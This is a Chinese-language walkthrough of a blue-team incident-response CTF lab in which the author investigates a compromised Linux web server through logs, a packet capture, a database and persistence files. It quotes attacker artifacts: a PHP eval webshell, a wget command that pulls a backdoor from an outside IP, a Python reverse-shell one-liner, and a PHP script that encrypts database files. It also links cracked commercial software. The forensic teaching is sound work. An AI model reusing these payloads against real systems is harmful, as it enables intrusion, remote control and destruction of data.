文章目录
一、前言
题目链接:第九章-blueteam 的小心思
三连私信免费送玄机注册邀请码私信!!!看见就回!!注意私信!!
题目就看着多一点都不难,大家放心吧;
题目既然提到了blueteam(蓝队),那我们这里就简单介绍一下红蓝队吧;
简单来说就是蓝队和红队是网络安全领域中的两个关键团队,分别负责保护和模拟攻击,以确保组织的信息系统和网络基础设施的安全。(也就是我们俗称的“护网行动”——HVV)
蓝队(Blue Team)
主要负责:
-
监控和检测:
- 实时监控网络流量、系统日志和安全警报,使用安全信息和事件管理系统(SIEM)来检测异常活动。
- 配置和管理入侵检测系统(IDS)和入侵防御系统(IPS)。
-
事件响应:
- 制定和实施事件响应计划,及时应对和处理安全事件。
- 调查和分析安全事件的来源和影响,采取适当的措施来遏制和解决问题。
-
漏洞管理:
- 定期进行漏洞扫描,识别和修复系统中的漏洞。
- 管理补丁程序的应用,确保系统软件和硬件的安全性。
-
风险评估和管理:
- 进行风险评估,识别潜在的安全威胁和风险。
- 制定和实施风险缓解策略,减少风险的影响。
-
安全策略和政策:
- 制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
- 监督和执行安全政策的实施,确保员工遵守安全规程。
-
取证分析:
- 在发生安全事件后进行取证分析,收集和分析证据,以便进行进一步的调查和法律行动。
- 保持事件日志和记录,以便进行审计和合规检查。
红队(Red Team)
主要负责:
-
渗透测试:
- 进行渗透测试,模拟真实攻击者的行为,测试组织的防御措施。
- 利用各种工具和技术发现系统、网络和应用程序中的漏洞。
-
社会工程学攻击:
- 进行社会工程学攻击,如钓鱼邮件和电话诈骗,测试员工的安全意识和反应。
- 分析和报告社会工程学攻击的结果,帮助组织改进培训和防御措施。
-
模拟攻击:
- 模拟高级持续性威胁(APT)攻击,测试组织在面对复杂和持久攻击时的防御能力。
- 评估组织的应急响应计划和事件处理能力。
-
报告与建议:
- 提供详细的报告,描述发现的漏洞、攻击路径和潜在影响。
- 提出改进建议,帮助组织加强安全措施,减少风险。
-
协作与演练:
- 与蓝队合作,进行对抗演练(Red Team vs. Blue Team),提高整体安全水平。
- 帮助组织识别和修复安全漏洞,改进防御策略和技术。
总结就是;
红队和蓝队的协作和对抗演练(例如红蓝对抗)可以帮助组织全面评估和提升其安全防御能力。通过这种方式,组织可以更好地理解自己的安全弱点,实施有效的防御策略,并提高应对真实网络威胁的能力。
那说都说了,这里我再啰嗦一下蓝队吧;(主要小组分工)
蓝队主要分工(说是这样说,真正开始的时候可能可能一个人打两份工那也算正常)
-
安全监控与检测小组
- 作用:实时监控网络流量、系统日志和安全事件,使用SIEM工具进行异常活动的检测。
- 成员职责:配置和管理入侵检测系统(IDS)和入侵防御系统(IPS),分析警报,识别潜在的安全威胁。
-
事件响应与取证小组
- 作用:响应和处理安全事件,进行取证分析,收集和分析证据。
- 成员职责:制定和实施事件响应计划,调查安全事件的来源和影响,采取措施遏制和解决问题,保留事件日志和记录。
-
漏洞管理与补丁管理小组
- 作用:进行漏洞扫描,识别和修复系统中的漏洞,管理补丁程序的应用。
- 成员职责:定期进行漏洞评估,确保系统软件和硬件的安全性,应用安全补丁,减少潜在的攻击面。
-
风险评估与管理小组
- 作用:进行风险评估,识别和管理安全风险,制定风险缓解策略。
- 成员职责:分析潜在的安全威胁,评估风险的影响和可能性,实施风险管理计划,减少风险。
-
安全策略与政策小组
- 作用:制定和维护组织的安全策略和政策,确保符合行业标准和法规要求。
- 成员职责:监督和执行安全政策的实施,审查和更新安全策略,确保员工遵守安全规程。
-
安全教育与培训小组
- 作用:提供安全意识培训,教育员工关于安全最佳实践和防范措施。
- 成员职责:设计和实施安全培训计划,进行演练和模拟,提高员工的安全意识和应急响应能力。
-
技术支持与工具开发小组
- 作用:提供技术支持,开发和维护安全工具和系统。
- 成员职责:配置和维护安全基础设施,开发自定义安全工具,支持其他小组的技术需求。
hvv开启的时间一般是6月-7月,所以可以说,大家4/5月左右有时间就要把自己的简介准备好了;
二、概览
简介
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i ‘s/Listen 80/Listen 9999/’ /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复
题目;
1、攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
2、攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
3、找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
4、攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
5、攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
6、攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
7、攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
8、攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
9、解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
10、因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}。
三、参考文章
四、步骤(解析)
准备步骤#1.0
老规矩嘛,使用Xshell新建或者SSH连接靶机都可,靶机的环境是Liunx;(方法不唯一,仅供参考)
新建连接,输入靶机IP,连接即可;(这里如一直连不上,看看自己是不是校园网(内网),是的话建议换手机热点/或者其它,因为它会对出口流量进行限制,接着再尝试进行连接)
成功连接,不过这里注意,进去之后需立马执行;
命令;
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
为什么进去之后就需立马执行这个命令嘞?
简单来说就是,这条命令的作用是修改 Apache Web 服务器的端口配置,并重新启动 Apache 服务。
具体一点来说;
- 修改 Apache 服务器的配置文件,将监听端口从
80
改为9999
。 - 重新启动 Apache 服务,使新的配置生效。
靶机可以通过这种方式,可以改变 Apache Web 服务器的默认监听端口,常用于避免端口冲突或者提升服务器的安全性(通过使用非标准端口)。
步骤#1.1
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客成功登录网站后台的密码并进行MD5加密,那我们就可以先查查日志,看看黑客登录的时候有没有留下什么痕迹;
具体一点来说就是;
Web 服务器日志: 检查 Web 服务器的访问日志(如 Apache 的 access.log
或 Nginx 的 access.log
)。这些日志文件中可能记录了登录请求以及相应的参数。
使用命令;
cat /var/log/apache2/access.log | grep "POST /login"
得到;
简单分析一下;
-
源 IP 地址: 所有请求的源 IP 地址为
192.168.16.43
,这表明所有这些请求都来自同一台设备。 -
时间戳: 请求的时间戳逐渐递增,表明这些请求是在几秒钟内完成的。
- 首次请求:
18/Nov/2023:23:20:08
- 成功请求:
18/Nov/2023:23:20:21
- 首次请求:
-
状态码:
- 前四次请求返回状态码
200
,这表示请求成功并返回了页面。 - 最后一次请求返回状态码
302
,这表示请求成功后进行了重定向。这通常意味着成功登录并重定向到用户主页或管理页面。
- 前四次请求返回状态码
结论
- 黑客 IP 地址:
192.168.16.43
- 登录尝试:黑客在
23:20:08
至23:20:21
之间多次尝试登录,直到23:20:21
的最后一次登录成功。 - 成功登录:最后一次
POST /login.php
请求返回状态码302
,表明登录成功并进行了重定向。
所以总的来说,日志里面暂时没有发现黑客登陆网站的账号以及密码,那没办法了,我们只能换一种方法;
检查数据库;
用户表: 检查数据库中存储用户信息的表。(一些数据库中会包含有管理员的账号以及我们需要的密码)
那我们既然需要进入到数据库查询,那肯定就是需要先找到数据库登录的账号密码对吧?
数据库登录的账号和密码通常存储在配置文件如 config.inc.php
中;
因为配置文件 config.inc.php
是专门用于存放应用程序的配置参数,包括数据库连接信息。
那这里我们使用“find”命令定位一下配置文件“config.inc.php”即可;
命令;
find / -name config.inc.php
得到;
跟进分析,查看数据库登录账号密码;
命令;
cat var/www/html/include/config.inc.php
得到;
我们可以得到;
- 数据库类型:
pdo:mysql
- 数据库服务器:
localhost
- 数据库用户名:
root
- 数据库密码:
mysql123
- 数据库名称:
mirage
登录数据库;
命令;
mysql -uroot -pmysql123
登录成功;
上面我们已经知道了是什么数据库;(mirage)
切换数据库;
use mirage;
得到;
那接着就是库里查查里面有什么表了;
show tables;
得到;
很明显看见了个users,里面就是数据库用户的账号密码信息;
所以我们使用命令;
select * from cpg16x_users;
得到;
但是发现里面并没有账号密码,那也没关系,总会有没查出的时候,那我们找找有没有什么其它关键的地方;
那就看看有没有流量,既然这条路给我们封死了,肯定会给我们别的路;
那就定位一=下看看有没有流量包呗;
命令;
find / -name "*.pcap"
得到;
哎,在根目录下还真有,那我们就导出使用Wireshark分析呗;
这里为了便捷,我直接使用了之前使用过工具的“Finalshell”导出;
老规矩,打开主页,新建SHH连接(Liunx),接着输入靶机的IP,最后输入账号密码返回主页连接即可;
新建SSH连接;
输入靶机的IP以及账号密码;
跟目录下发现流量包,选中右键“下载”即可;
注意下载路径;(以防自己下载了找不到)
下载成功丢进Wireshark分析;
题目既然说黑客登录网站后台的密码,说了登录,所以我们就可以直接查http的关键“login.php”;
命令;
http contains "login.php"
得到;
一共就那么几个usename、password,就算不知道具体是哪一个,我们一个一个尝试MD5加密提交都行;
所以最后尝试出来的密码就是;(随便找一个在线的MD5进行加密)
Aa12345^
至此;
flag{D63EDB0E9DF4CF411398E3658C0237E0}
步骤#1.2
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串"upload.php"的小写md5值,格式flag{md5}。
解题思路
题目问我们黑客在哪个PHP页面中成功上传了后门文件,提交提交PHP页面并且进行MD5解密,题一我们已经到导出了流量包,那我们可以查找一下“boundary”;
那这里可能有的师傅就有疑问了,为什么要查找一下“boundary”,这跟上传有什么关系嘛?
简单来说,在 Wireshark 中分析文件上传时,查找 boundary 是一个关键步骤。
boundary
一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据。
同时也具备;
-
识别上传内容的边界: 当文件通过 multipart/form-data 上传时,每个部分用 boundary 分隔。通过识别 boundary,可以分离出文件内容和其他表单数据。
-
解析上传的文件数据: boundary 提供了上传内容的分隔符,使得可以准确提取文件数据和元数据(如文件名、类型等)。
那这里我们就可以直接筛选一下“boundary”;
使用命令;
http contains "boundary"
得到;
发现只有一条,跟进分析,“右键追踪HTTP流”;
得到;
简单分析一下;
PK..
......<rW..'.............cpg.phpUT ..8jXetjXeux....!....!...<?php @eval($_POST["m3"]);?>
这段内容显示了一个ZIP文件的开始,包含一个PHP文件cpg.php
。
<?php @eval($_POST["m3"]);?>
这是一个典型的PHP Web shell代码。eval
函数会执行传入的任何PHP代码,因此黑客可以通过向该文件发送POST请求来执行任意代码。(俗称一句话木马)
题目问我们黑客上传木马文件的“页面”,例如upload.php页面,所以;
上传的页面:pluginmgr.php
至此;
flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
步骤#1.3
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客上传webshell文件的MD5,老熟题了,找webshell嘛,手工排查找也可以,工具排查也可以,看自己喜欢,不过这里为了更便捷,肯定是使用工具进行排查,我们直接把网站的源码导出,接着丢进我们的“D盾”等待扫描结果即可;
那这里手工排查之前的文章也多有强调,那这里就不再多叙了,详细请看:应急响应-webshell查杀
那这里我们先导出源码(var/www/html),我使用的还是“Finalshell”导出;
找到源码“var/www/html”;
右键选中,下载即可;(注意下载完成之后,是和题一“wireshark.pcap”一个目录)
导出完成,开始使用“D盾”扫描;(这里注意如导出找不到cpg.php,就说明被你电脑自动杀掉了)
是不是很眼熟?对的,没错就是我们上题所在的“Wireshark”中找到的一句话木马“cpg.php”,那我们跟进右键“记事本”打开看看是不是我们上题在pcap里面看见的;
石锤了;(这里就不再分析这个一句话木马了,相信很多师傅肯定都知道了)
题目让我们提交文件的MD5,那这里推荐的就是两种方法,第一种直接在靶机里(Liunx)中直接
使用命令;(注意需在“同一目录下”执行)
md5sum cpg.php
得到;
这里因为已经导出源码了嘛(var;/www/html/),那当然木马肯定也在其中,所以直接在windows中直接;
使用命令;
certutil -hashfile cpg.php MD5
得到;
至此;
flag{a097b773ced57bb7d51c6719fe8fe5f5}
文件进行MD5加密方法不唯一,仅供参考;
步骤#1.4
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}。
解题思路
题目问我们黑客下载的列一个可执行后面程序是什么并且进行MD5加密,那这里我们可以有两个方法来进行查找,第一种,上题已查出了一个webshell“cpg.php”,那我们就完全可以根据黑客上传的第一个webshell的时间来筛选前后下载的文件,因为来猜测黑客上传的时间肯定不会间隔太久,所以我们只需要查到第一次上传webshell的时间即可;
第二种,我们不是导出一个“wireshark.pcap”嘛,仔细分析一下也是可以发现黑客下载的可执行后门程序,毕竟我们之前就在里面查出过文件“cpg.php”,所以同样的道理我们也是可以从里面发现;
那这里两种方法都给大家进行演示一下;
第一种:Liunx
我们先找到文件“cpg.php”上传的前后时间;
命令;(注意,同一目录下)
stat cpg.php
得到;
简单分析一下;
时间戳
-
访问时间 (Access):2024-07-15 08:54:44.408000000 +0000
- 文件最近一次被读取的时间。
-
修改时间 (Modify):2023-11-18 07:39:36.000000000 +0000
- 文件内容最近一次被修改的时间。
-
更改时间 (Change):2023-11-18 23:21:04.444013552 +0000
- 文件属性或内容最近一次被更改的时间。
文件权限和所有者
-
权限:
0644
或-rw-r--r--
- 文件所有者有读写权限 (
rw-
) - 文件所属组有只读权限 (
r--
) - 其他用户有只读权限 (
r--
)
- 文件所有者有读写权限 (
-
所有者 (Uid):
33
(用户www-data
) -
所属组 (Gid):
33
(组www-data
)
现已确定文件修改时间(2023-11-18 07:39:36),及文件所有者(www-data);
那我们就可以使用命令,简单查一下,前后两天用户“www-data”干了什么;
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data
命令分析;
简单来说这条命令用于查找在特定时间范围内由特定用户(www-data
)修改或创建的文件。
具体分析;
-
-newerct ‘2023-11-18 07:30:00’
- 查找在2023年11月18日07:30:00之后创建或修改的文件。
-
! -newerct ‘2023-11-19 07:30:00’
- 查找在2023年11月19日07:30:00之前创建或修改的文件。
-
! -path ‘/proc/’ ! -path '/sys/’ ! -path ‘/run/*’
- 排除路径为
/proc
、/sys
和/run
的文件。这些目录包含系统和内核相关的虚拟文件系统,不需要搜索。
- 排除路径为
-
-type f
- 仅查找普通文件(不包括目录、链接等)。
-
-exec ls -lctr --full-time {} +
- 对找到的每个文件执行
ls -lctr --full-time
命令,显示文件的详细信息:-l
:使用长格式列出文件。-c
:根据文件的状态更改时间排序。-t
:根据时间排序。-r
:逆序排列。--full-time
:使用完整的时间戳格式显示。
- 对找到的每个文件执行
-
2>/dev/null
- 将错误输出重定向到
/dev/null
,即忽略错误信息。
- 将错误输出重定向到
-
| grep www-data
- 过滤出包含
www-data
的行。这将显示所有由www-data
用户拥有或修改的文件。
- 过滤出包含
得到;
-rw-r--r-- 1 www-data www-data 446 2023-11-18 23:20:18.031017308 +0000 /var/www/html/logs/security.log.php
-rw-r--r-- 1 www-data www-data 29 2023-11-18 23:21:04.444013552 +0000 /var/www/html/plugins/cpg.php
-rwxrwxrwx 1 www-data www-data 250 2023-11-18 23:26:21.793649688 +0000 /var/www/html/plugins/. /is.world
可以看见文件“/is.world”,尝试进行MD5加密提交一下(注意题目让我们提交的是完整路径)
路径:/var/www/html/plugins/. /is.world
命令;
md5sum "/var/www/html/plugins/. /is.world"
得到;(尝试提交发现正确)
至此;
flag{ee279c39bf3dcb225093bdbafeb9a439}
第二种:Wireshark
简单筛选一下http,按照一下大小排序,在大小为“1037”的包中发现关键;
跟进分析,追踪流HTTP;
简单分析一下;
URL在线解码得到;
m3=system("wget http://124.221.70.199:8889/is.world");
使用了PHP的 system
函数,执行了一个下载命令。
-
system
:PHP中的system
函数会执行一个外部程序,并输出结果。 -
wget
:这是一个用于从网络下载文件的命令行工具。命令中的参数指定了下载文件的URL。 -
http://124.221.70.199:8889/is.world
:这是文件下载的目标URL,包含了一个IP地址124.221.70.199
和端口8889
。目标文件名是is.world
。
题目问的什么?问的不就是黑客下载的程序嘛,所以就有理由进行怀疑,直接find定位一些文件位置即可;
命令;
find / -name is.world
得到;
后面的步骤就不进行演示,跟Liunx后面一样跟进过去,到文件“is.world”目录下进行MD5加密即可;
这里暂且举两个例子,仅供参考,方法不唯一;
步骤#1.5
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串"attack"的小写md5值,格式flag{md5}。
解题思路
题目让我们找到新镇的后面用户名称并且进行MD5加密提交,那都说了新增加用户,那我们肯定是检查用户配置文件,在Liunx中,/etc/passwd 文件,包含了所有用户的信息,包括用户名和用户ID等。
所以使用命令;
cat /etc/passwd
得到;
简单分析一下;
其实一眼望过去,最不正常的就是最底下那个“knowledgegraphd”;
因为从 /etc/passwd
文件来看,这个用户看起来异常,因为它的 UID 和 GID 都是 0,与 root 用户相同,这意味着它具有 root 权限。
用户权限分析:
root:x:0:0:root:/root:/bin/bash
- 这是系统管理员账户,UID 和 GID 都是 0。
knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
- 这个账户的 UID 和 GID 也都是 0,意味着它具有与 root 用户相同的权限。这是一个明显的安全风险,通常用户不会被分配 UID 和 GID 为 0,除非是系统管理员。
用户的主目录和 shell:
/home/knowledgegraphd
是这个用户的主目录。/bin/bash
是这个用户的默认 shell,允许用户执行命令,这进一步表明这是一个高权限用户。
总结;
以上分析,
knowledgegraphd
用户就是是黑客创建的后门用户,因为它具有 root 权限,这在正常情况下是极不寻常的。此外,这个用户没有描述信息(通常用户会有一个描述字段,比如系统服务用户有描述它们用途的信息)。
题目让我们进行MD5加密在提交;
所以使用命令;
md5sum knowledgegraphd
哎,发现报错了,为什么呢?
因为这是字符串,字符串进行MD5加密和文件肯定不一样,因为靶机是“Ubuntu”的;
所以;
echo -n "knowledgegraphd" | md5sum
得到;
至此;
flag{4cda3461543c9a770a3349760594facd}
步骤#1.6
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客创建的一个持久化的配置项的MD5,黑客在 Linux 系统上创建持久化配置项,以在任意用户登录时触发后门连接,通常会利用以下文件;
shell配置文件;
黑客可以修改用户的 Shel 配置文件,这些文件在用户登录时被执行。常见的文件包括:
1、”~/.bashrc“:用于 Bash Shell,会在每次打开新的终端或登录 Shell 时执行。
2、”/.bash_profile“或”/.profile“:这些文件在用户登录时执行。
3、”~/.zshrc“:用于Zsh Shell,与”~/.bashrc“类似。
4、”/etc/profile“:为所有用户提供的系统级别的配置文件,
5、”/etc/bash.bashrc“:为所有用户提供的系统级别的配置文件,Bash Shell 专用。
一个一个跟进分析,查看有没有什么可疑的地方,最后也是在”/etc/profile“中发现关键;
命令;
cat /etc/profile
得到;
简单分析一下;
简单来说就是 /etc/profile
文件的内容,这是一个系统范围的配置文件,用于设置 Bourne shell(如 sh、bash、ksh 等)的全局环境变量和配置。
- 首先,这段代码检查是否存在交互式 shell 的环境变量
${PS1-}
。如果存在,它会进一步检查是否在 Bash 环境下,并且 Bash 的路径不是/bin/sh
。 - 如果是 Bash,并且存在
/etc/bash.bashrc
文件,则会载入该文件的配置。 - 如果当前用户是 root 用户(通过
id -u
命令检查),则设置提示符PS1
为#
,表示超级用户权限。否则设置为$
,表示普通用户权限。 - 接下来就是黑客插入的后门程序:
/var/www/html/plugins/". "/is.world &
,它是一个恶意添加的行,试图运行一个不明的命令或程序。 - 最后,如果
/etc/profile.d
目录存在,则会加载该目录下所有可读的.sh
结尾的脚本文件,以扩展 shell 的配置。
题目让我们提交可疑配置文件的完整的路径小写md5值;
路径:/etc/profile
使用命令;(强调很多次了,这里就不再多强调了)
md5sum /etc/profile
得到;
至此;
flag{65bf3e4a9ac90d75ec28be0317775618}
还有一种做法,就是一般这种配置在/etc,猜测是执行可执行文件,所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;
我们使用命令;
grep -Er "is.world" /etc
得到;
简单分析一下这个命令,为什么是“-Er”;
-E
: 表示启用扩展的正则表达式(Extended Regular Expression)模式。这使得grep
可以识别更多的正则表达式语法。-r
: 表示递归地在指定目录及其子目录中搜索。
综合起来就是,
grep -Er "is.world" /etc
的作用是在/etc
目录及其所有子目录中,使用扩展的正则表达式模式搜索包含字符串 “is.world” 的所有文件和行。
那有人就要问了,不加“-Er”行不行?
如下图;
只加一个“-r”也可以识别出来;(不过还是推荐大家规范执行命令,养成习惯更好)
步骤#1.7
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}。
解题思路
跟上题差不多,只不过这里是只有root用户登录才会触发后门连接,那这里我们需要确定黑客可利用的文件或者位置,那这里我们就可以猜测了,如果黑客希望在只有root用户登录时才触发后门连,其它用户则不会,那他一般会挑选以下文件和目录;
1、“/root/.bashrc”:在root用户登录Bash Shell时执行;
2、“/root/.bash_profile”:在root用户登录时执行。
3、“/root/.profile”:在root用户登录时执行。
4、“/etc/profile”:所有用户登录时执行,但可以通过特定的条件使其仅在root用户登录时触发。(这个概率就非常大,且也符合我们的猜测)
5、“/etc/rc.local”:系统启动时执行,可以包含条件逻辑;
还是跟上题一样老操作,一个一个分析过去即可,最后也是在“/root/.bashrc”中发现关键;
使用命令;
cat /root/.bashrc
得到;
简单分析一下;
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
简单来说这就是Python 一个经典的反弹 shell 脚本,常被用作创建后门的手段。
-
导入模块:
import socket, subprocess, os;
: 导入socket
、subprocess
和os
模块。这些模块分别用于网络通信、执行子进程和进行操作系统级别的操作。
-
创建套接字:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);
: 创建一个 IPv4(AF_INET)流式套接字(SOCK_STREAM),用于 TCP 连接。
-
连接到远程服务器:
s.connect(("124.221.70.199", 9919));
: 连接到指定的 IP 地址124.221.70.199
和端口9919
。这通常是黑客控制的服务器。
-
重定向标准输入、输出和错误:
os.dup2(s.fileno(), 0);
: 将标准输入(文件描述符 0)重定向到套接字s
。os.dup2(s.fileno(), 1);
: 将标准输出(文件描述符 1)重定向到套接字s
。os.dup2(s.fileno(), 2);
: 将标准错误(文件描述符 2)重定向到套接字s
。
通过这些操作,任何通过 shell 进行的输入、输出和错误信息都会通过套接字
s
传递到黑客的服务器。 -
启动交互式 shell:
p=subprocess.call(["/bin/sh", "-i"]);
: 启动一个交互式 shell(/bin/sh),并将其连接到之前的套接字。这样,黑客就可以通过网络远程控制该系统。
-
后台运行:
&
: 将整个命令放入后台执行,这样它不会阻塞当前的终端会话。
总的来说,它允许黑客在受感染的系统上创建一个反弹 shell,使得黑客可以通过网络远程控制受感染的计算机。黑客可以执行任意命令、访问敏感数据、安装其他恶意软件等。
题目让我们提交配置文件完全路径的小写MD5值;
所以;
md5sum /root/.bashrc
得到;
至此;
flag{4acc9c465eeeb139c194893ec0a8bcbc}
步骤#1.8
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串"user"的小写md5值,格式flag{md5}。
解题思路
题目让我们提交黑客加密的数据库名并且进行MD5加密,那既然这里又提到了数据库,这里就给大家推荐一个便捷连接数据库的工具“Navicat Premium”,这个工具简单来说就是有图形化的界面便于大家更好的去分析;
但是在网上这个工具是需要收费的,而且这个工具在后面可能会常用到,那我们这边就直接找了一个破解版的供大家使用;
123云盘下载;
Navicat Premium 16 安装包下载
https://www.123pan.com/s/q2J1jv-7Lavd.html
提取码:0905
123云盘下载;
Navicat Premium 16 破解工具下载
https://www.123pan.com/s/q2J1jv-bLavd.html
提取码:0905
Navicat Premium 16 安装并破解激活图文教程(跟着教程来几分钟就搞定了)
那话不多说,我们接着进入主题,那这里早在之前题一的时候,我们就已得知了mysql数据的账号以及密码,只不过我们直连的数据库并不是使用工具来进行分析,那这里我们就尝试使用工具来进行分析;
首先还是老规矩,数据库的登录信息(账号密码),一般都会储存在配置文件“config.inc.php”中,那我们这里还是直接定位配置文件位置过去查看即可;
命令;
find / -name config.inc.php
得到;
/var/www/html/include/config.inc.php
跟进分析;
cat /var/www/html/include/config.inc.php
数据库账号密码:root/mysql123
这里我就在Liunx中直接连了,我使用了工具“Navicat Premium 16”连接数据库,
激活完毕,登进主页,选择连接“mysql”;
那想连到数据库肯定是先连接到靶机对吧?因为数据库是存在于靶机之上的,所以这里,我们选上方的“SSH”–>"勾选上使用SSH隧道"即可;
主机:靶机的IP,用户名:root,验证方法选择:密码,最后密码:qi5qaz(就是靶机的密码),注意!!先别着急点“确定”,因为这时候是还没有连上的,我们先点击下方的“测试连接”看看有没有连上靶机;
会报这个错,为什么呢?因为现在我们只是连接上了吧唧并没有连接数据库,我们最终的目的就是连接到数据库,所以不要慌这时候,先点击确定;
这时候,再返回“常规”,连接名就随便填,其它不需要改动,填上我们mysql数据库的账号密码即可;
最后返回主页,点击刚刚新建的数据库即可成功连接;(那这里有的师傅可能就会问了,一道题目至于这么详细嘛?现实中数据库图形化界面有时候就是比直接敲命令更好理解一点,我这里详细一些就是因为很多时候我也是过来人,第一次接触这个东西确实有很多不明白的地方,详细一些便于对新的知识更好了解)
那咋办,那就查呗,一个一个点击进去查(表也就那么多),看看那张表点不开或者报错的,那就是有毛病呗,就是题目要求的有锁呗;
最后也是在“JPMorgan Chase”数据库中发现它打不开(啥都打不开);
报错,怀疑可能有加密;(符合题目要求,尝试进行MD5加密提交)
那我们返回Liunx,尝试使用find定位一下“JPMorgan@0020Chase”
命令;
find / -name JPMorgan@0020Chase
得到;
那我们跟进到这个目录下,直接j进行MD5解密即可;(这里因为JPMorgan@0020Chase也不是一个文件,所以我们还是得使用echo来进行MD5加密,跟我们之前MD5加密用户一下)
命令;
echo -n "JPMorgan@0020Chase" | md5sum
得到;
尝试提交,正确;
至此;
flag{0928a5424aa6126e5923980ca103560e}
步骤#1.9
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}。
解题思路
题目让我们解密数据库,提交Harper用户对应的Areer的值并且进行MD5加密,那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去,那我们就尝试查找一下黑客比文件“cpg.php“新,又比闻文件“Balance.frm”旧的所有文件;
使用命令;
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
简单分析;
/
: 从根目录开始查找。-type f
: 只查找文件(不包括目录、链接等)。-newer /var/www/html/plugins/cpg.php
: 找出比这个文件新的文件。! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
: 找出比这个文件旧的文件。
得到;
找到了;(php后缀结尾就那么几个文件,其它的都排除完了,那可不就剩它了嘛)
/var/lib/mysql/clockup.php
跟进分析一下;
cat /var/lib/mysql/clockup.php
得到;
简单分析一下;
简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密,指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”,那咋办嘞,直接写一个反推的脚本;(这里我丢给gpt写的)
-
获取当前日期并生成MD5哈希
$currentDate = date("Y-m-d"); $key = md5($currentDate);
$currentDate
:获取当前日期,格式为 “YYYY-MM-DD”。$key
:使用md5
函数将当前日期转换为一个128位的哈希值,这个值将作为加密的密钥。
-
生成初始化向量(IV)
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$iv
:使用 hash
函数将字符串 “DeepMountainsGD” 转换为一个256位的哈希值,然后取其前16字节作为初始化向量(IV)。IV用于确保相同的明文在加密时生成不同的密文,从而增强安全性。
-
指定文件路径并读取目录内容
$filePath = "/var/lib/mysql/JPMorgan@0020Chase"; $files = scandir($filePath);
$filePath
:指定目标文件路径,这里是/var/lib/mysql/JPMorgan@0020Chase
。$files
:使用scandir
函数读取指定目录的内容,并返回一个包含目录中所有文件和子目录的数组。
-
遍历文件并进行加密
foreach ($files as $file) { if ($file != "." && $file != "..") { $fullPath = $filePath . '/' . $file; $content = file_get_contents($fullPath); $encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv); file_put_contents($fullPath, $encryptedContent); } }
foreach ($files as $file)
:遍历目录中所有文件和子目录。if ($file != "." && $file != "..")
:跳过当前目录.
和父目录..
。$fullPath = $filePath . '/' . $file
:构建完整的文件路径。$content = file_get_contents($fullPath)
:读取文件内容。$encryptedContent = openssl_encrypt($content, 'aes-256-cbc', $key, 0, $iv)
:使用openssl_encrypt
函数对文件内容进行加密,采用aes-256-cbc
加密算法,使用生成的密钥和IV。file_put_contents($fullPath, $encryptedContent)
:将加密后的内容写回到原文件中。
总的来说就是;
1. 生成基于当前日期的MD5哈希值作为加密密钥。
2. 生成一个基于特定字符串的初始化向量(IV)。
3. 遍历指定目录中的所有文件,读取其内容并使用AES-256-CBC加密算法进行加密。
4. 将加密后的内容覆盖写回到原文件。
这里我就直接搬了网上师傅的逆推脚本过来,懒得写了;
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
